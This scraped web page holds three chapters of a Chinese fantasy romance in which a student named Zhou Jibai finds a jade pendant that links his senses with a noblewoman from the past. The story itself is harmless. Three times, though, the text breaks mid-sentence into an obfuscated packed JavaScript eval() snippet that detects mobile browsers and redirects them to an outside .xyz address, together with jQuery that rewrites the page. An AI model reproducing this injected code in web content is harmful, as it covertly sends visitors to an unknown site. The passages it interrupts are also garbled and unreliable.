《不见面的女朋友》 3. 不是幻觉 去停车场要路过办公区,周暨白只想快点离开古墓,扫完二维码一边按照流程登录一边加快脚步离开。 肖柒柒等在出口处透气,见周暨白大步流星出来,脸上笑容扬起想打声招呼,话还没出口,就看到他一阵风似的从身前刮过。 看着他略显慌乱急促离去的背影,肖柒柒2纳闷,“真见鬼了?” 林嗣音用纸巾擦着手出来,看肖柒柒背对着她盯着一个地方发呆,就走上前拍了拍她肩膀,好奇问道:“怎么了?又看见帅哥了?” 肖柒柒摇头,指了指消失在停车场出入口的黑色大G,“不,还是周暨白,他脸色不太好的样子。” 林嗣音把纸巾扔到垃圾桶,闻言不由笑了笑,“听说他在筹备工作室,可能熬夜熬的。” 也不等她八卦,又问:“不是饿了吗?我们去吃烤肉。” 肖柒柒一听烤肉,眼睛顿时放光,“我今天要吃五份肥牛,十份五花……” ** 郊外路广人稀,车也不多。 越野车以龟速行驶在马路上,车窗大开着,料峭春风吹动衣袖沙沙作响。 周暨白坐在驾驶座眉头紧锁,他右手把着方向盘,左手手肘搭在车门上,食指与无名指曲起抵着太阳穴,浅色瞳孔倒映着宽阔路面,神情紧绷着,下颚线条显得锋锐又利落。 有车呼啸着从隔壁车道开过,留下一句—— “哥们,失恋没什么大不了的,不要哭,喝杯酒睡一觉就过去了啊啊~” “啊嗷~” 一声渐行渐远的痛呼让周暨白脑海中残存的画面霎时消散,撤回胳膊两指按了按眉心,回过神才发现浑身僵硬。 关上车窗隔绝冷风,一脚油门加速。 十几分钟后,驶入市区拥挤路段,路上红绿灯增多。 身上渐渐回温,额角胀痛明显,忍着不适在最后一秒驶过一道斑马线后看了眼导航,周暨白单手从中控台下的储物箱里拿出一瓶薄荷糖,掀盖仰头,随意往嘴里倒了几颗。 糖粒翻滚,冰凉感刺激着神经,胀痛有所缓解。 把瓶子塞进衣服口袋,周暨白不再一心二用,专心盯着车辆人流越来越多的路面。 经过一片工业区时,路旁电瓶车后视镜反着太阳光从眼前划过。 周暨白微微侧头避让光线,车子匀速向前,把电瓶车抛在身后,再凝神时,眼前宽敞的路面却变成了泛着波光的深蓝色水面。 而他像悬浮在水面上一样,只要稍微一动,他就会连人带车一起掉进水里。 周暨白虽然不认为自己会掉进去,但潜意识里还是忍不住屏住呼吸。 然而下一秒,耳边突然传来一道严肃且苍老的女声。 “娘子今日不大稳重,夜间可要多抄一遍经书。” 她就像在耳边说话一样,听得格外清晰。 周暨白余光里,副驾空荡荡,车上根本没有人,意识到这一点,脚下不受控制般猛地踩住刹车。 绿灯变红,车子急停在斑马线前,一辆电瓶车贴着车头骑过,车主人转头看了眼驾驶座。 见车上的人眼神专注盯着外面,也没有分神打电话,便抬手说了一句,“年轻人不要冲动,红绿灯很短,生命很长的。” 说完也没管周暨白听没听见,控制车头转个弯并入车流消失不见。 车里,周暨白有些发愣。 薄荷糖小小一个,融化后冰凉感随之消散,额角胀痛感再次来袭,他伸手随意揉了揉,感觉不难受时视线再次落在车头前的路面上。 行人脚步匆匆,赶在最后几秒小跑通过斑马线。 周暨白降下一半车窗,听着他们杂乱的脚步声,胸腔里鼓噪的心跳逐渐平缓。 闭了闭眼仰头靠在座椅靠背上,他想,以后不能熬大夜了。 车后鸣笛声响起,含着催促。 周暨白睁眼一看,才发现红灯已经过去。 车子再次行驶,不到两分钟又停在路旁的临时停车位上。 周暨白拿出手机叫了个代驾,他现在又是幻觉又是幻听的状况下已经不合适开车了。 他不想年纪轻轻就因为车祸出事。 叫完代驾等待的过程中,周暨白把外套拉链往下拉了半截,领口微敞着才觉得呼吸顺畅不少。 他胡乱翻转着手机,脑海里思绪如同浆糊,搅来搅去始终是一团。 几分钟后,黑色越野车转入一条林荫路。 代驾师傅是一个中年大叔,车技很好,平稳行驶下周暨白昏昏欲睡。 路程大约还有半个小时,他干脆抛开纷乱的思绪,双臂环胸靠着座椅假寐。 春阳漏过树缝,在路面上摇碎了一地树影。 驶出树影时,手机铃声骤然响起。 周暨白撩起眼皮坐直,拿起手机接通。 “妈?” 陈沅“诶”了一声,轻声细语问他:“儿子,你明天回来不?我和你爸打算去你堂哥清修的道观看看,你也一起呀!” 周暨白眨眨眼,从一片混沌中缓过神,语声沉沉,耐心叮嘱,“我就不去了,你们路上小心,让司机开车,我爸一开车就容易上头,别把高血压气上来了。” “那好吧!”陈沅被拒绝情绪依然高涨,语气带笑,“你多休息,我会给你求个桃花回来的。” “嗯!”周暨白无可无不可的应着。 手机那端的陈沅却像听见什么好消息一样激动的音量拔高几个度,“你嗯?你答应了?那我求回来了你别不收啊?” 这边没回,陈沅好玩似的开始叫周暨白的各种名字。 “儿砸?小白?暨白?周暨白?你人呢?怎么不说话呀?” 被叫的周暨白像是丢了魂一样,眼睛看着虚空,瞳孔失了焦距。 他眼前不再是银白色的高楼大厦,反而被一片明黄代替。 这次和之前海市蜃楼般的水面不一样,应该是一块明黄色的布,上面纹理清晰可见,金龙覆在上面栩栩如生。 耳边换了一道洪钟般醇厚的嗓音,念着拗口的古文。 “宜得淑贤,佐于忧勤。爰敷明命,诞告外庭。”① 他一年级陪室友追女生去上过一节文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800424|158379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学课,课上教授讲得内容和这人念得一样晦涩难懂。 结合之前看到的、听到的,再加上手机里母亲焦急的呼唤,让周暨白不得不从没睡好以至出现幻觉的自我睡眠中清醒。 同时心底也有个猜测,但那猜测实在过于荒谬,让他的三观处于崩塌边缘。 代驾师傅在一次换道观察后视镜时,无意瞥到周暨白苍白的脸,不由关切问道:“你没事吧?难道之前出车祸了,要不要我直接送你去医院?” 周暨白茫然地转头看向师傅,一向清晰的大脑此刻变得麻木。 “小白?你在哪儿啊?出了什么事?小白……” 陈沅的声音从玩笑到故意,最后一声微带焦急的“小白”,让周暨白头脑清明。 小白是周暨白的小名,陈沅只在气急、挖坑的时候才会这样叫他。 周暨白自小就很抗拒和猫狗一样的名字,每回叫他他都冷着张脸,陈沅见他气鼓鼓的样子很可爱,总要伸手揉一揉他脸蛋才笑着离去。 久违的熟悉感把他从猜测中的虚幻拉到现实。 周暨白喉结上下滚动,抿了许久的唇瓣微启,语声艰涩低哑,“妈我没事,昨天熬夜敲代码没睡好,今天多休息会儿就可以。” 陈沅听见这话顿时松了一口气,“没事就好,我晚点让何叔送盅参汤给你,你喝完好好睡一觉。” “嗯。” 记着儿子精神不好,陈沅说完就挂了电话。 周暨白不确定下一刻还会看见什么,听见什么,捏着手机重新闭上眼靠着座椅,脸色隐隐泛着青白。 感觉到旁边师傅时不时投来关注的眼神,周暨白微吸口气,语气平缓道:“谢谢师傅,我就是太困了。” 师傅闻言放下心来,连连说着,“没事就好没事就好!!” 干他们这行,最怕遇到喝得不省人事、身体不舒服的人,一个一言不合打人骂人,一个容易招惹麻烦。 两者都没有那自然最好。 距离京大越来越近时,那些诡异画面,莫名声音再没有出现。 周暨白高高悬起的心总算落下来一点,心情放松时,身体上的疲惫排山倒海涌来,侵袭着每一寸皮肤。 车子停在京大校外柏兰小区里,里面有他一处房产,三居室格局,周末有时会来住两天。 但此时周暨白不想一个人,拿了书包下车直奔京大北门。 道路尽头,代驾师傅渐行渐远的荧光绿马甲颇为显眼。 周暨白收回目光,拉高拉链戴上帽子,低头走向寝室。 周末路上人不多,快步只用了十分钟到达。 四人寝无人在,周暨白放下书包,脱外套前习惯性地掏了一下兜。 外套是新买的,他记性也不差,清楚的知道自己只在车上把一瓶薄荷糖塞进了口袋,除此之外,不会再有其他东西。 可此时,另一边口袋的硬物让他大脑又一次宕机。 迟疑着拿出来一看,在他左手掌心躺着一枚绿豆饼大小的青色圆形玉块,玉块没有挂绳,上面雕着繁复的纹路,看形状像只鸟。 4. 你又是谁? 愣了好一会儿,周暨白才翻转玉块查看有没有不同寻常的地方,不期然从雕刻的孔洞中漏了几滴水下来,沾湿了手心。 他放下薄荷糖,右手食指与大拇指沾上捻了捻,又闻了一下,发现只是普通的水。 即便如此周暨白也不敢掉以轻心,拧着眉把玉块小心地放在书桌上,然后摸了摸装玉块的兜。 果不其然,衣兜也被洇湿了一块,只是衣服颜色深,他没发现。 凭空出现的玉块较之前的画面与声音,周暨白明显已接受良好,耐受程度高了很多,至少不会频频失态。 但也不是非要认命,至少,先把为什么会发生这些的原因查清楚。 门窗紧闭,室内温度适中,周暨白直接脱下外套扔到了脏衣篓里,再拿起手机对着玉块拍了张照片,想问问曹嘉良。 他手指修长,骨节分明,在手机屏幕上停顿良久,才斟酌着发了一条消息出去。 周暨白:【学长,你现在有空吗?】 曹嘉良大约是在办公室,回得很快。 【有,怎么了?】 周暨白:【稍等。】 周暨白直接打了个视频通话过去。 曹嘉良一接通就是关心的话,“你上午是有什么事吗?走的那么快?” 周暨白抿着唇把摄像头对准书桌上的青色玉块,还没来得及问,曹嘉良又是连珠带炮不停输出。 “这玉佩不错,成色很好,玉质温润,凤凰雕得毫无瑕疵,是上等品。看起来很新的样子,你在哪儿买的?不贵的话我也买一枚,成天看挖出来的那些玉,我也眼馋。” 周暨白没说话,甚至有些头疼。 他是想问问曹嘉良对这枚玉佩有没有印象,要是能直接指出是从古墓中挖出的更好,后续还回去也许会有点麻烦。 但很显然,他希望落空了。 把摄像头对准笔记本,周暨白揉了揉眉心,声音稍显无力,“谢谢学长帮我鉴别,是家里人送的。走得太快忘记告诉你了,无网能打开的前提是缓存好了,不然照样看不到图片详情。” 他没话找话,曹嘉良丝毫没察觉,依然兴致勃勃,“知道了,我会注意的,不过我也有事和你说。” 周暨白目光落在玉佩上,低低的“嗯”了一声。 曹嘉良接着说:“三天后教授会在小程序上直播棺椁出土过程,你要不要来看现场呢?我可以帮你申请。” 曹嘉良学考古学了四五年,这次第一次跟着教授参与重大发掘现场。 工作了好几个月,他一直处在亢奋的状态中,每次没聊几句就开始推荐去现场,企图让其他觉得考古枯燥乏味的朋友们对考古感兴趣,并能与他侃侃而谈。 周暨白早已习惯,淡声拒绝,“不了。” 曹嘉良不死心,“说起来把历史人物研究透彻对你成立工作室也有帮助,你确定不来吗?” 周暨白心不在焉,也没注意到曹嘉良说得什么,还是拒绝。 推销失败,曹嘉良只能带着遗憾挂掉电话。 手机息屏后,周暨白放在一边,以手成梳往后顺了两把头发,打理好的微分碎盖瞬间变成了不羁前刺。 他脸上带着烦躁,瞥了眼玉佩后起身在衣柜随手拿了件衣服进浴室。 水流声持续了几分钟。 周暨白只穿着裤子双手撑着洗手池抬眸看向镜子,浴室里水汽氤氲,朦胧间,他看到了自己迷茫的脸。 雾气向上蒸腾,模糊了镜面。 他分明没张口,却听到有声音问:“你是谁?” 声音主人有把好嗓子,语调似水如歌,语气轻软柔和,吐字清晰,听得人不禁心情舒畅。 周暨白却觉得头皮发麻,有种终于来了的颤栗感。 而他眼中这回所看到的画面就赏心悦目许多,木质窗框中,框住了树木花草,假山流水,暖阳倾泻而下,犹如美好幻境般让人不自觉沉溺。 周暨白抬手把镜面水雾往下一擦,沉声反问道:“你又是谁?” 下一秒,一声短促突兀的“啊”声响起,随后周暨白在镜中看到了自己。 他看到了自己裸着上半身,眉头紧锁,一副不能理解什么的样子出现在镜子里。 “呵~” 周暨白意味不明地笑了一声,弯腰打开水龙头掬了把冷水浇在脸上。 凉意刺激着迟钝的大脑,周暨白垂下眼睫想了想,终于回过味儿来,啧一声,拉过置物架上的毛巾随意擦了两下转身出浴室。 在衣柜里挑了件灰色长袖连帽卫衣穿上,周暨白头发也不吹,就用帽子盖着。 刚穿好衣服,寝室门被人从外面推开,三个室友说笑着推门而进。 杨昀发现周暨白在,忙放下篮球一个箭步凑到他身边,围着他转了一圈,嘴里啧啧有声,“呦,少爷从良了,包这么严实?” 周暨白在椅子上岔开腿坐下,睨了他们一眼,语调又恢复了平时的疏懒,“冷,不行?” 吴谭把给周暨白带的饭放桌上,推了推眼镜笑着说:“行,腊月天都穿短袖的人,这会儿三月春末了,却说冷,怎么不行?” 周暨白没搭理他们,掀开饭盒,拿起筷子埋头就是吃。 林行之控制椅子转过来,见周暨白狼吞虎咽像是三天没吃饭的样子,不由挑眉猜测,“少爷打哪儿来啊?竟然没给你吃饱回来?” 周暨白头也不抬,咽下一口炒饭才抽空回答:“从墓地回来。” “撞上饿死鬼了?”杨昀换完运动服从浴室出来就听见这句,顿时表情浮夸的做出一副惊恐模样。 他哪儿知道对方是什么鬼。 想到一上午遇到的事,周暨白饭也不想吃了,把玩着没用过的塑料勺子,眼眸微眯,平静没多久的心底没来由又涌出一股烦躁。 啪的一声,勺子从中间断裂,声音不大,却也让围观的三人知道他此刻心情不好。 杨昀向两人使了个眼色,拖着椅子坐到周暨白身边,敛去不正经的神情,正色问道:“话说你工作室筹备的怎么样了?我还等着技术入股呢!” 说起工作室,周暨白浑浑噩噩过了一上午,现在才想起来今天去古墓的目的。 周暨白从小就对自己未来的人生规划有着明确方向,读初中时因为当时一款以山海经为蓝本改编的游戏,使他对国产手游产生兴趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800425|158379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 大学专业才会选择计算机,本来打算大三结束后一边准备读研一边设计以历史人物生平为蓝本的游戏框架。 今天去古墓除了帮助学长修复程序BUG,也是想收集一些真实史料,倒没想到会遇到比撞鬼还让人难以接受的事。 以致他都忘了正事。 现在被问起,周暨白顺手把断成两截的勺子扔到垃圾桶,然后打开电脑对准杨昀,下巴轻抬,“底层框架已确定,主策、主美、制作人都找好了,现在就等找到合适的办公地点。” 杨昀和周暨白是同专业,只不过他脑子没周暨白活泛机敏,说白了,他属于技术工种,只会埋头苦干,而周暨白更像是领导人,指明一个方向他才知道下一步怎么做。 仔细看完文件里的内容,杨昀忍不住对周暨白竖起大拇指,“我去年暑假跟着教授去参观过云游工作室,要不你能拿国内计算机大赛金奖呢!这个设计我可以说比云游工作室有过之而无不及。” “我敢说,等这个游戏面世,将会引起巨大轰动……” 听着他毫无感情的夸赞,周暨白扯了扯嘴角,移过电脑想再查缺补漏一番,左手却不经意间碰到玉佩。 眼前画面出现波动,密密麻麻的代码字符被一个一身红衣的人覆盖。 不知道是什么原因,周暨白只能看到红衣人的胸口位置,那里金色丝线绣着的花纹在阳光下照耀下绚烂又夺目。 随后他听到几句对话,有之前那把好嗓子的,以及另外一道男声。 画面左右晃了晃,随着她往后退一步,视线下移,周暨白眼里出现了一双黑色靴子,以及红衣下摆,看款式,像是男生衣服。 她语带歉意开口,周暨白听着像是自己在说话一样,“殿下恕罪,我并非有意。” 被叫殿下的男子往前迈了一小步,嗓音极其温润,“你我不必多礼,快起。” 视野高了几分,大约是她行了礼又起身了。 后又听她道:“殿下衣裳浸湿,我唤人来带殿下去厢房更衣可好?” 男声笑着应“好”。 “徐叔。” “娘子有何事?” “带殿下去厢房更衣。” “是,殿下请。” 一阵嘈杂后,她转过身。 他所看到的画面顺时针转了半圈后又变成了先前那样,美景堆叠,倾国亦倾城。 她步伐迈得小,周暨白目测一米她迈了四五步,走了有十来米,好景没了,人声也没了,入目是青黑色的假山乱石。 她在避着人。 从古墓回学校,他遇上不少人,车外的行人,身边的代驾,以及手机那端的母亲,在他出现失态时,首先注意的都是他,而非那些“意外”。 想通后,周暨白就明白,那些突如其来的画面与声音,只有他自己能看到听到。 可和他产生视野声音交换的人却得避着人。 这让周暨白不可抑制的产生了一些恶劣想法。 然而下一秒,对方的一句话就让这些想法消弭于初始阶段。 她站在假山前,轻声开口,“你于我而言是属于未来是吗?” 5.他是奇遇 周暨白:“……” 周暨白不语,只一味震惊。 古墓里闭眼看到缓缓往下沉的东西,周暨白在从兜里掏出玉佩后就明白。 再联想到透过水面看到的她的装扮,三次互换看到的画面,以及“娘子”“殿下”等称呼,周暨白才会怀疑与他产生联系的人或许来自古代,而不是当下一场荒诞的恶作剧。 但她来自哪一朝哪一代,现在还未可知。 他能有这样的猜测,也是因为义务教育,他知道书上记载的人物都存在过,只是历史洪流滚滚向前,他们或名垂青史,或遗臭万年,或泯灭世间。 不过鉴于他之前猜的穿越与现今发生的情况有区别,周暨白也不会理所当然的认为一个古代人会知道这些。 所以她一个古代女子,是怎么知道他来自未来的? 他坐着一动不动,眼底情绪变幻莫测。 杨昀见状还以为文件出了什么重大问题,以致让素来对任何事都游刃有余的周暨白都不禁一脸凝重,忙问:“怎么了少爷?要不要我帮忙?” 他这一问,周暨白才从惊愕中缓过神,把电脑往那边一转,扬起手拍了拍他肩膀,语速飞快地说:“要,你先看看。” 看什么也没说,周暨白说完拿起玉佩转身向门口大步走去。 “少爷你手机……”寝室门砰的一声关上。 门外走廊尽头有一间吸烟室,室门紧闭,周暨白双手撑着栏杆站在窗边,卫衣帽子在奔跑中掉在背上,湿发遮了眼,却遮不住望向楼下足球场的锐利目光。 他胸口微微起伏,问出口的话带着喘气声,“你是怎么知道的?” 他想不通,他干脆就问。 藏着掖着解决不了任何事,更何况,他和她这种情况根本没有标准的处理方案,要想知道原因,只能靠自己摸索。 另一边的徐长媞也只对着假山,视线不偏不倚,没有移动过分毫。 她垂手,轻抚着腰间月白色丝线,信口而开,“书上有写。” 徐长媞不知他的想法,只按自己心中所思行事。 这一回,她又看到了一些东西。 跳动着奇怪字符的黑色木板,泛着银光的奇怪建筑,与完全透明的墙。 这便是国师所言的“未来”吗? 与她所处之地,还真是不一样。 —— 书上有写?古代还有这种书? 难道她那边还真有小说里,电视剧里演的那样有穿越者吗? 周暨白视线聚焦在落地窗上,光影偏移,窗上映出他恍惚的脸。 枉他自诩逻辑清晰,思维敏捷,这会儿大脑和电脑死机一样,任凭鼠标怎么点,屏幕依旧毫无反应。 “你叫什么?”他机械问道。 她柔声回:“徐长媞,飞鸣复何远,相顾幸媞媞。”① “你来自哪里?” 徐长媞手上动作一顿,唇角笑意加深了些,“你还未告诉我你姓名?礼尚往来才好。” 半天变化下来,周暨白着实心力交瘁,反应也迟钝,“周暨白。” 听他声音透着股虚,徐长媞抿了抿唇,手中紧攥着湘妃色的帕子,放轻声音再问,“你于我而言是属于未来对吗??” 她语气带着几分殷切,似要确定什么一般。 “是。”周暨白深深地叹了一口气,拱起的肩背忽而塌陷,长腿勾过凳子腿,一个转身坐下,视线里,是白花花的墙与地。 硬塞进肚子里的炒饭不足以支撑巨大的思考工程,周暨白扬起手,正想抓两把头发,却发现左手中还攥着那枚玉佩。 一切的一切好像都始于这枚玉佩。 他把手伸到眼前,玉佩平躺在掌心,语气急切,“这块玉佩你认识吗?” 徐长媞唇角抿着,柳眉微颦,沉默须臾才道:“是我的。” 周暨白惊的一下挺直了腰背,“是你的?” “是。” “那为什么会在我这里?”而且从衣兜里拿出来时还带着水。 徐长媞缓慢摇头,两人眼里看到的画面也跟着摇晃,“我也不知。” 她确实不知,只知掉了,却不知为何会掉到“未来”。 他来自未来,国师留下的诗也在说未来。 未来会发生何事呢? “三姐姐,三姐姐,快来瞧,尹皇商送了株南海珊瑚来,比人还高……” 呼唤声由远及近,徐长媞闻声回头,左手本自然下垂,转身时小拇指不经意间扫过月白色丝线挂着的白佩,明堂堂的墙与地眨眼间无踪。 清亮的眸子里,倒映着族中堂妹一身嫣红从廊桥处跑来的身影,她声音娇俏悦耳,边跑边喊,随风飞扬的丝带都能窥见她的雀跃。 她应当极喜爱那株珊瑚。 徐长媞笑了笑,转眸深深地看了眼假山,随后提裙缓步离开。 他是个奇遇,她想。 —— 一个小时的时间里,杨昀看了好几遍周暨白设定好的框架文件,确定每一个字符都是落在它该落在的地方,才信心满满的来到吸烟室找人。 推开门时,阳光迫不及待涌了过来,刚好落在杨昀脚边。 窗下的阴影里,周暨白保持手举玉佩的姿势一动不动,光线擦着他发丝而过,清隽的面部线条逆着光更显冷冽。 杨昀抬腿走过去,“我看了好几遍,你自己的能力你还不放心嘛,没问题的。” 周暨白动了动僵硬的脖子,轻撩眼皮看向他。 杨昀被他不含情绪的眼神看着硬生生逼停,站在相隔两米远的位置,忐忑不安的举起手,“你不会要灭了我吧,你手机还在我手里呢!” 他两手紧扣着,企图把手机作为“人质”。 周暨白把玉佩收拢在掌心,拇指轻轻摩挲,指腹下,玉佩反面,刻着一个小小的“媞”字。 ——媞,是她的名字。 “啧~” 周暨白站起身,单手插兜,往前两步抽走杨昀手中的手机,解锁后在微信聊天中找到陈沅,单手打了一行字发出去。 【我晚点回去。】 想了想又加一句。 【我开车。】 周父平时倒还好,挺温文尔雅一人,一开车跟患上路怒症一样,骂天骂地骂行人,车技是不错,平稳也不擅长急刹。 就是吵得慌,闹耳朵,也闹心。 他想着既然科学没办法解释他和那个什么媞之间的怪异,那就试试玄学。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807413|158379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 发完消息,他转身就走。 走廊里依旧静悄悄的,以往打游戏直逼别人祖坟的长调今日难得没听见一句。 杨昀几步跟上来,用肩膀撞了撞他,“你今天怎么了?奇奇怪怪的,脸色也不好。” 周暨白被他撞得整个身体一麻,酸爽感迅速蔓延全身。 他停下脚步,皱着眉,睨向杨昀,淡着嗓音问:“如果是你保持一个姿势坐了一小时,然后被人撞一下,你的脸色会好?” 杨昀脸色一僵:“……” 反应过来后立马倒退两步,离周暨白远了些,见他冰凉视线移开,才讪讪地挠了挠头,要笑不笑的扯着嘴角道歉,“对不起啊少爷,我不是有意的。” “嗯。”周暨白眼皮微掀,再次抬腿。 该说不说,被杨昀撞一下,僵硬的四肢好像恢复了一些知觉。 杨昀小跑两步到周暨白身前,然后面对着他倒着走,“可是你为什么在里面坐一小时,是有什么问题解决不了吗?” 周暨白改为双手插兜,想了想语气寡淡而认真,“如果你……” 他才刚说三个字,杨昀听见应激似的急急抬手打断,“停,我知道了。” 周暨白止住话头,转眸云淡风轻的看向他。 杨昀却转了半圈,和他肩并肩目不斜视往前走,走了两步深吸一口气,脸上神情颇为正经,“都是我的错,我不该来找你。” 正好他们寝室到了,杨昀说完拧开门把手一个闪身就进去了。 那速度,好像慢一步就会被周暨白抓着打一顿。 寝室门开了又关,周暨白身量颀长站在门外,站姿懒怠随性。 杨昀在里面等了半天也不见人进来,打开门探出头一瞧,见周暨白低着头杵在门口,顿时被吓一跳。 他觉得周暨白今天太古怪了,“少爷你今天到底怎么了?被鬼附身了?” 周暨白往前一步推开门,杨昀赶紧退到一边,门自动合上,咔哒声音和他用气音说出的话交织在一起。 “差不多吧!” 杨昀和他同寝三年,知道他就是这样的性子,听到不想回答的问题直接顺着答,论起敷衍他是个中翘楚。 所以也没当回事,来到他书桌前,指着上面的木质饭盒说:“何叔送的,让你好好喝完。” “嗯,”周暨白应完,从衣柜里拿了件黑色冲锋衣穿上后准备吹头发。 下午两点半的阳光从窗外斜射进来,他站在明暗交界处,一身黑的装扮像是暗夜使者,神秘又清冷,不经意间露出几分随性不羁气质,也难怪走哪儿都有女生搭讪。 “呦,铁树开花了啊少爷?哪个妹妹?我能知道吗?” 头发吹干后,周暨白拔掉吹风机,开始往书包里装东西,闻言头也不抬,“我妈。” 杨昀被噎了一下,“你要回家?” 把书包背上,周暨白看向倚在床柱上的杨昀,“回家求桃花,去吗?” 杨昀:“……” 杨昀被他面无表情看得起了一身鸡皮疙瘩,搓了搓手臂,嘴角僵硬地扯出一抹笑,“不……不要了吧,你交给我的任务还没完成呢!我得赶进度。” “放心,我会给你带一个桃花回来。”